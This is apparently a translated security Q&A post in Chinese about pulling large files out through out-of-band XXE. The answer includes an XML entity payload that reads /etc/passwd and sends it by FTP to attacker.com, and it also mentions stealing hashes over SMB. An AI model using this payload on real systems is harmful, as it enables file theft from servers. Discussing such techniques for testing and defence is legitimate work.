大多数通过 XXE OOB(带外)提取文件的示例设置了一个侦听 HTTP 服务器并侦听请求的 URL 上的传入请求。但是,由于 URL 长度被限制为 2048 之类的长度,您将如何通过此方法或其他 OOB 方法提取更大的文件?是否可以通过 XXE OOB 执行 POST 请求?
XXE OOB 大文件提取
信息安全
开发
网络
xxe
2021-09-07 08:27:04
1个回答
这是一个非常有趣的问题,在讨论 XXE 时经常被忽视,典型的 PoC 正在窃取/etc/passwd
文件。根据一位消息人士的说法,“非常大的文件,例如 /dev/random 和 /dev/zero 要么无法检索,要么导致拒绝服务。这是通过 XXE 进行的 DoS。” 所以我认为简短的回答是,由于不存在任何逻辑或脚本来分解请求,因此不可能通过 HTTP GET 请求发送大文件而没有问题。但是,如果您愿意查看其他一些协议,您似乎可以使用FTP窃取更大的文件。
除了发出 HTTP 请求,您总是可以尝试使用如下示例发出 FTP 请求:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2222/?data=%data;'>">
然后假设您有一个侦听 FTP 服务器,那么您可以通过这种方式提取数据。(可以在此处找到有关此方法的更多信息)列出的指南还解释了如何使用 SMB 协议与响应者一起窃取哈希值。当然,这里最大的缺点是与其他协议一起工作是试图让那些其他端口通过防火墙,因为通常允许 HTTP 甚至 DNS,这使得它们成为理想选择。